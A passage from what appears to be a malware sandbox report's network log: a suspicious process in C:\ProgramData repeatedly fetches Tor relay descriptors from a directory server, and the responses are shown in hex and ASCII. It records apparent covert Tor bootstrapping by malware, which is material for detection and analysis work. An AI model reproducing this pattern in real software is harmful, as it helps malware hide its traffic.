20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 31 39 3a 32 35 3a 35 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 38 38 38 35 20 45 41 36 46 20 37 34 41 36 20 39 34 38 32 20 35 42 31 33 20 42 38 41 37 20 30 38 30 46 20 36 43 46 31 20 36 34 44 46 20 37 34 46 42 0a 75 70 74 69 6d 65 20 31 39 32 32 33 30 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 36 30 35 36 32 35 35 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 45 46 34 44 32 39 38 31 32 43 45 44 32 35 38 41 45 36 38 35 33 30 32 35 34 43 39 31 46 41 31 38 45 42 42 45 43 43 30 34 20 66 58 38 38 55 33 65 73 39 42 63 4b 4f 48 31 74 57 55 57 34 59 62 6a 4b 70 58 39 30 6f 36 65 6a 56 5a 4b 72 56 39 74 44 68 63 59 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 4b 6f 6c 6d 4d 4b 31 4d 4a 6a 51 37 6b 44 53 53 73 58 58 7a 48 79 6c 45 71 31 75 57 76 57 61 37 79 39 6a 71 2f 2f 67 74 47 6b 78 30 6a 6f 41 2b 4d 57 50 54 32 30 0a 42 74 79 69 64 4f 53 5a 32 71 67 4e 31 64 2f 33 55 49 6c 4b 49 78 69 4d 37 4c 61 57 61 66 63 76 76 75 4c 73 57 55 65 61 79 5a 47 73 6b 39 56 79 71 59 65 67 30 6e 6a 69 64 50 47 32 37 33 2f 32 0a 37 49 50 31 65 7a 4e 37 48 2f 6a 6d 4e 4f 75 47 39 4a 75 77 4c 71 44 38 41 4d 79 52 75 75 66 73 66 38 48 66 43 45 74 75 57 48 58 2f 4a 2b 49 32 46 5a 79 4e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router Unnamed 144.217.95.12 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxdhAV5MOzsld0rz3t5tchwkM5nEJ8012BrKBYKco8J1/2GBAQAgBAAllfN6HZ8Ms9QYSrJ6yafNIUC93NIk7oPIqTKPuZ5aLz2mk3yQABQxxy+1fHaR2jL3SBjfL3v60oSkwkoZolZQ+lqzc35LtlfT7baQiwdXosW9oup92Qt4CpdV6eAotgM=-----END ED25519 CERT-----master-key-ed25519 JZXzeh2fDLPUGEqyesmnzSFAvdzSJO6DyKkyj7meWi8or-address [2607:5300:201:3000::49be]:9001platform Tor 0.4.7.7 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 19:25:55fingerprint 8885 EA6F 74A6 9482 5B13 B8A7 080F 6CF1 64DF 74FBuptime 192230bandwidth 1073741824 1073741824 16056255extra-info-digest EF4D29812CED258AE68530254C91FA18EBBECC04 fX88U3es9BcKOH1tWUW4YbjKpX90o6ejVZKrV9tDhcYonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMKolmMK1MJjQ7kDSSsXXzHylEq1uWvWa7y9jq//gtGkx0joA+MWPT20BtyidOSZ2qgN1d/3UIlKIxiM7LaWafcvvuLsWUeayZGsk9VyqYeg0njidPG273/27IP1ezN7H/jmNOuG9JuwLqD8AMyRuufsf8HfCEtuWHX/J+I2FZyNAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49709	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:24.075264931 CET	2693	OUT	GET /tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5 HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:24.188304901 CET	2695	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:24 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:24 GMT Data Raw: 72 6f 75 74 65 72 20 61 6c 70 68 61 31 33 37 20 37 30 2e 33 34 2e 31 39 34 2e 31 38 39 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 5a 56 41 56 54 66 5a 64 74 58 6d 6f 41 30 49 39 55 38 77 78 48 49 64 5a 33 69 63 68 55 7a 74 2f 70 35 4c 50 33 72 53 6a 72 55 71 2f 61 73 41 51 41 67 42 41 43 2b 6f 61 2f 75 0a 50 51 33 57 34 4f 48 6b 49 76 37 79 2f 2f 52 32 7a 6f 36 39 44 37 6b 4f 74 67 42 43 55 77 33 73 50 65 66 55 70 2b 52 31 66 65 33 78 2b 69 65 46 49 46 66 2b 67 78 4f 75 6c 74 57 63 45 55 61 41 0a 77 53 56 42 78 69 6f 55 47 77 71 33 35 32 4d 63 79 76 65 33 67 58 50 43 56 32 73 37 61 53 77 50 61 79 57 6a 68 72 47 57 52 78 78 2f 76 54 61 50 6e 46 63 62 55 56 66 4a 66 67 67 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 76 71 47 76 37 6a 30 4e 31 75 44 68 35 43 4c 2b 38 76 2f 30 64 73 36 4f 76 51 2b 35 44 72 59 41 51 6c 4d 4e 37 44 33 6e 31 4b 63 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 35 3a 66 34 38 30 3a 32 30 30 30 3a 32 66 66 64 3a 35 34 30 30 3a 34 66 66 3a 66 65 32 37 3a 62 34 34 62 5d 3a 34 34 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 33 3a 35 32 3a 31 34 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 38 45 37 20 33 30 32 33 20 41 39 37 39 20 32 43 44 42 20 38 41 44 43 20 44 34 44 31 20 42 32 41 32 20 32 30 45 46 20 46 45 38 44 20 38 46 46 35 0a 75 70 74 69 6d 65 20 36 34 38 30 35 35 0a 62 61 6e 64 77 69 64 74 68 20 32 38 36 37 32 30 30 20 36 31 34 34 30 30 30 20 33 30 35 37 34 30 38 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 35 45 36 33 34 39 43 35 46 32 34 35 35 34 45 44 39 43 42 38 34 31 42 42 39 44 39 32 31 46 32 41 33 39 30 30 36 43 32 42 20 75 50 69 59 50 77 6f 66 33 51 4c 47 2f 6c 46 4d 59 5a 79 5a 45 47 75 57 75 6f 52 57 57 34 74 43 41 66 6b 2b 49 47 38 55 41 50 51 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 58 4b 46 6c 67 30 44 33 62 6a 71 73 41 43 44 34 78 77 41 54 35 59 43 78 78 65 42 4c 54 31 4f 49 73 42 7a 66 32 79 50 42 69 44 37 33 33 64 48 41 36 71 42 75 51 70 0a 67 77 61 6e 2f 42 75 4e 61 71 30 6b 74 39 71 35 30 58 39 36 42 42 58 30 6c 37 73 6c 37 6a 61 70 78 39 2f 50 76 67 64 4d 30 2b 59 74 4f 55 74 48 61 71 4c 41 35 79 68 50 66 52 42 48 58 2b 31 4e 0a 4d 65 2b 6b 59 51 69 46 74 64 44 55 57 49 49 7a 4c 74 49 6f 74 44 34 77 67 4b 4a 4c 6d 66 36 4c 6b 53 4e 63 38 47 53 66 54 5a 4b 32 70 74 53 52 36 4f 6d 6e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d Data Ascii: router alpha137 70.34.194.189 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxZVAVTfZdtXmoA0I9U8wxHIdZ3ichUzt/p5LP3rSjrUq/asAQAgBAC+oa/uPQ3W4OHkIv7y//R2zo69D7kOtgBCUw3sPefUp+R1fe3x+ieFIFf+gxOultWcEUaAwSVBxioUGwq352Mcyve3gXPCV2s7aSwPayWjhrGWRxx/vTaPnFcbUVfJfgg=-----END ED25519 CERT-----master-key-ed25519 vqGv7j0N1uDh5CL+8v/0ds6OvQ+5DrYAQlMN7D3n1Kcor-address [2a05:f480:2000:2ffd:5400:4ff:fe27:b44b]:443platform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 03:52:14fingerprint 38E7 3023 A979 2CDB 8ADC D4D1 B2A2 20EF FE8D 8FF5uptime 648055bandwidth 2867200 6144000 3057408extra-info-digest 5E6349C5F24554ED9CB841BB9D921F2A39006C2B uPiYPwof3QLG/lFMYZyZEGuWuoRWW4tCAfk+IG8UAPQonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMXKFlg0D3bjqsACD4xwAT5YCxxeBLT1OIsBzf2yPBiD733dHA6qBuQpgwan/BuNaq0kt9q50X96BBX0l7sl7japx9/PvgdM0+YtOUtHaqLA5yhPfRBHX+1NMe+kYQiFtdDUWIIzLtIotD4wgKJLmf6LkSNc8GSfTZK2ptSR6OmnAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49710	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:44.322722912 CET	2698	OUT	GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:44.375762939 CET	2699	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:44 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:44 GMT Data Raw: 72 6f 75 74 65 72 20 55 6e 6e 61 6d 65 64 20 31 34 34 2e 32 31 37 2e 39 35 2e 31 32 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 64 68 41 56 35 4d 4f 7a 73 6c 64 30 72 7a 33 74 35 74 63 68 77 6b 4d 35 6e 45 4a 38 30 31 32 42 72 4b 42 59 4b 63 6f 38 4a 31 2f 32 47 42 41 51 41 67 42 41 41 6c 6c 66 4e 36 0a 48 5a 38 4d 73 39 51 59 53 72 4a 36 79 61 66 4e 49 55 43 39 33 4e 49 6b 37 6f 50 49 71 54 4b 50 75 5a 35 61 4c 7a 32 6d 6b 33 79 51 41 42 51 78 78 79 2b 31 66 48 61 52 32 6a 4c 33 53 42 6a 66 0a 4c 33 76 36 30 6f 53 6b 77 6b 6f 5a 6f 6c 5a 51 2b 6c 71 7a 63 33 35 4c 74 6c 66 54 37 62 61 51 69 77 64 58 6f 73 57 39 6f 75 70 39 32 51 74 34 43 70 64 56 36 65 41 6f 74 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4a 5a 58 7a 65 68 32 66 44 4c 50 55 47 45 71 79 65 73 6d 6e 7a 53 46 41 76 64 7a 53 4a 4f 36 44 79 4b 6b 79 6a 37 6d 65 57 69 38 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 36 30 37 3a 35 33 30 30 3a 32 30 31 3a 33 30 30 30 3a 3a 34 39 62 65 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 37 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 31 39 3a 32 35 3a 35 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 38 38 38 35 20 45 41 36 46 20 37 34 41 36 20 39 34 38 32 20 35 42 31 33 20 42 38 41 37 20 30 38 30 46 20 36 43 46 31 20 36 34 44 46 20 37 34 46 42 0a 75 70 74 69 6d 65 20 31 39 32 32 33 30 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 36 30 35 36 32 35 35 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 45 46 34 44 32 39 38 31 32 43 45 44 32 35 38 41 45 36 38 35 33 30 32 35 34 43 39 31 46 41 31 38 45 42 42 45 43 43 30 34 20 66 58 38 38 55 33 65 73 39 42 63 4b 4f 48 31 74 57 55 57 34 59 62 6a 4b 70 58 39 30 6f 36 65 6a 56 5a 4b 72 56 39 74 44 68 63 59 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 4b 6f 6c 6d 4d 4b 31 4d 4a 6a 51 37 6b 44 53 53 73 58 58 7a 48 79 6c 45 71 31 75 57 76 57 61 37 79 39 6a 71 2f 2f 67 74 47 6b 78 30 6a 6f 41 2b 4d 57 50 54 32 30 0a 42 74 79 69 64 4f 53 5a 32 71 67 4e 31 64 2f 33 55 49 6c 4b 49 78 69 4d 37 4c 61 57 61 66 63 76 76 75 4c 73 57 55 65 61 79 5a 47 73 6b 39 56 79 71 59 65 67 30 6e 6a 69 64 50 47 32 37 33 2f 32 0a 37 49 50 31 65 7a 4e 37 48 2f 6a 6d 4e 4f 75 47 39 4a 75 77 4c 71 44 38 41 4d 79 52 75 75 66 73 66 38 48 66 43 45 74 75 57 48 58 2f 4a 2b 49 32 46 5a 79 4e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router Unnamed 144.217.95.12 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxdhAV5MOzsld0rz3t5tchwkM5nEJ8012BrKBYKco8J1/2GBAQAgBAAllfN6HZ8Ms9QYSrJ6yafNIUC93NIk7oPIqTKPuZ5aLz2mk3yQABQxxy+1fHaR2jL3SBjfL3v60oSkwkoZolZQ+lqzc35LtlfT7baQiwdXosW9oup92Qt4CpdV6eAotgM=-----END ED25519 CERT-----master-key-ed25519 JZXzeh2fDLPUGEqyesmnzSFAvdzSJO6DyKkyj7meWi8or-address [2607:5300:201:3000::49be]:9001platform Tor 0.4.7.7 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 19:25:55fingerprint 8885 EA6F 74A6 9482 5B13 B8A7 080F 6CF1 64DF 74FBuptime 192230bandwidth 1073741824 1073741824 16056255extra-info-digest EF4D29812CED258AE68530254C91FA18EBBECC04 fX88U3es9BcKOH1tWUW4YbjKpX90o6ejVZKrV9tDhcYonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMKolmMK1MJjQ7kDSSsXXzHylEq1uWvWa7y9jq//gtGkx0joA+MWPT20BtyidOSZ2qgN1d/3UIlKIxiM7LaWafcvvuLsWUeayZGsk9VyqYeg0njidPG273/27IP1ezN7H/jmNOuG9JuwLqD8AMyRuufsf8HfCEtuWHX/J+I2FZyNAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49711	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:44.760047913 CET	2702	OUT	GET /tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:44.811206102 CET	2704	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:44 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:44 GMT Data Raw: 72 6f 75 74 65 72 20 6f 6e 69 6f 6e 44 41 4f 72 65 6c 30 61 64 65 64 31 20 35 2e 32 2e 37 39 2e 31 39 30 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 56 74 41 5a 7a 70 74 41 56 55 39 5a 46 59 38 55 37 64 6e 6a 70 51 52 55 6d 73 47 42 7a 44 56 69 46 2b 79 64 6b 42 58 74 6a 51 52 4e 2f 6b 41 51 41 67 42 41 44 55 75 45 66 41 0a 42 5a 4f 6a 31 6c 65 6c 33 7a 42 72 50 64 74 76 66 72 45 59 32 51 77 6d 56 31 63 34 48 6b 42 56 6f 68 68 54 33 74 68 56 65 31 69 68 59 59 79 64 79 61 72 44 73 31 42 79 54 52 74 63 74 75 38 73 0a 43 69 59 6b 6c 43 52 33 63 4c 48 46 37 6c 44 34 6d 31 6e 6c 4e 70 45 30 7a 6d 78 6b 76 38 48 45 4a 4e 46 6d 32 56 6f 77 74 43 59 69 32 78 67 47 50 4a 6b 70 73 39 69 58 49 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 31 4c 68 48 77 41 57 54 6f 39 5a 58 70 64 38 77 61 7a 33 62 62 33 36 78 47 4e 6b 4d 4a 6c 64 58 4f 42 35 41 56 61 49 59 55 39 34 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 30 3a 32 32 3a 34 33 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 32 41 38 20 43 43 42 31 20 46 42 37 30 20 39 38 34 32 20 32 36 32 33 20 31 32 38 33 20 35 39 36 44 20 41 37 33 34 20 41 38 30 45 20 33 46 36 46 0a 75 70 74 69 6d 65 20 32 34 30 31 32 31 34 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 33 33 30 38 36 37 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 33 39 33 31 35 37 36 38 39 34 32 36 30 32 43 37 43 34 36 33 34 46 41 30 43 39 33 44 32 43 39 35 30 41 39 45 44 38 30 38 20 6e 33 38 6a 72 6a 50 66 35 48 38 67 6c 64 4e 46 66 72 2b 41 75 34 4e 7a 33 65 33 36 32 55 74 42 63 4a 50 7a 6e 4c 43 56 76 73 49 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 68 64 30 51 51 51 36 53 61 57 52 6b 4f 6f 52 76 35 76 54 45 68 2b 4f 63 73 36 4d 75 67 4b 58 59 75 68 69 70 70 77 39 64 76 74 48 7a 46 6f 2b 43 73 6e 67 38 36 4e 0a 78 62 6c 6c 77 45 4a 65 39 2b 71 4f 55 44 2b 56 43 39 2b 67 79 7a 6c 2b 71 44 79 6e 6e 51 33 38 77 71 31 66 4e 6a 48 54 36 36 64 63 51 4e 68 57 54 76 78 38 54 30 66 42 53 44 75 6e 73 64 2f 32 0a 2b 45 35 75 41 72 64 48 33 53 6f 37 56 52 48 56 65 58 2b 57 58 71 47 56 64 69 57 64 46 76 43 4e 76 4d 42 6e 6d 5a 54 50 72 72 36 75 37 4a 39 53 37 51 35 50 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 38 48 Data Ascii: router onionDAOrel0aded1 5.2.79.190 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxVtAZzptAVU9ZFY8U7dnjpQRUmsGBzDViF+ydkBXtjQRN/kAQAgBADUuEfABZOj1lel3zBrPdtvfrEY2QwmV1c4HkBVohhT3thVe1ihYYydyarDs1ByTRtctu8sCiYklCR3cLHF7lD4m1nlNpE0zmxkv8HEJNFm2VowtCYi2xgGPJkps9iXIA4=-----END ED25519 CERT-----master-key-ed25519 1LhHwAWTo9ZXpd8waz3bb36xGNkMJldXOB5AVaIYU94platform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 00:22:43fingerprint 02A8 CCB1 FB70 9842 2623 1283 596D A734 A80E 3F6Fuptime 2401214bandwidth 1073741824 1073741824 2330867extra-info-digest 39315768942602C7C4634FA0C93D2C950A9ED808 n38jrjPf5H8gldNFfr+Au4Nz3e362UtBcJPznLCVvsIonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKhd0QQQ6SaWRkOoRv5vTEh+Ocs6MugKXYuhippw9dvtHzFo+Csng86NxbllwEJe9+qOUD+VC9+gyzl+qDynnQ38wq1fNjHT66dcQNhWTvx8T0fBSDunsd/2+E5uArdH3So7VRHVeX+WXqGVdiWdFvCNvMBnmZTPrr6u7J9S7Q5PAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL8H

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49712	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:46.440762997 CET	2712	OUT	GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:46.489398956 CET	2713	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:46 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:46 GMT Data Raw: 72 6f 75 74 65 72 20 55 6e 6e 61 6d 65 64 20 31 34 34 2e 32 31 37 2e 39 35 2e 31 32 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 64 68 41 56 35 4d 4f 7a 73 6c 64 30 72 7a 33 74 35 74 63 68 77 6b 4d 35 6e 45 4a 38 30 31 32 42 72 4b 42 59 4b 63 6f 38 4a 31 2f 32 47 42 41 51 41 67 42 41 41 6c 6c 66 4e 36 0a 48 5a 38 4d 73 39 51 59 53 72 4a 36 79 61 66 4e 49 55 43 39 33 4e 49 6b 37 6f 50 49 71 54 4b 50 75 5a 35 61 4c 7a 32 6d 6b 33 79 51 41 42 51 78 78 79 2b 31 66 48 61 52 32 6a 4c 33 53 42 6a 66 0a 4c 33 76 36 30 6f 53 6b 77 6b 6f 5a 6f 6c 5a 51 2b 6c 71 7a 63 33 35 4c 74 6c 66 54 37 62 61 51 69 77 64 58 6f 73 57 39 6f 75 70 39 32 51 74 34 43 70 64 56 36 65 41 6f 74 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4a 5a 58 7a 65 68 32 66 44 4c 50 55 47 45 71 79 65 73 6d 6e 7a 53 46 41 76 64 7a 53 4a 4f 36 44 79 4b 6b 79 6a 37 6d 65 57 69 38 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 36 30 37 3a 35 33 30 30 3a 32 30 31 3a 33 30 30 30 3a 3a 34 39 62 65 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 37 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 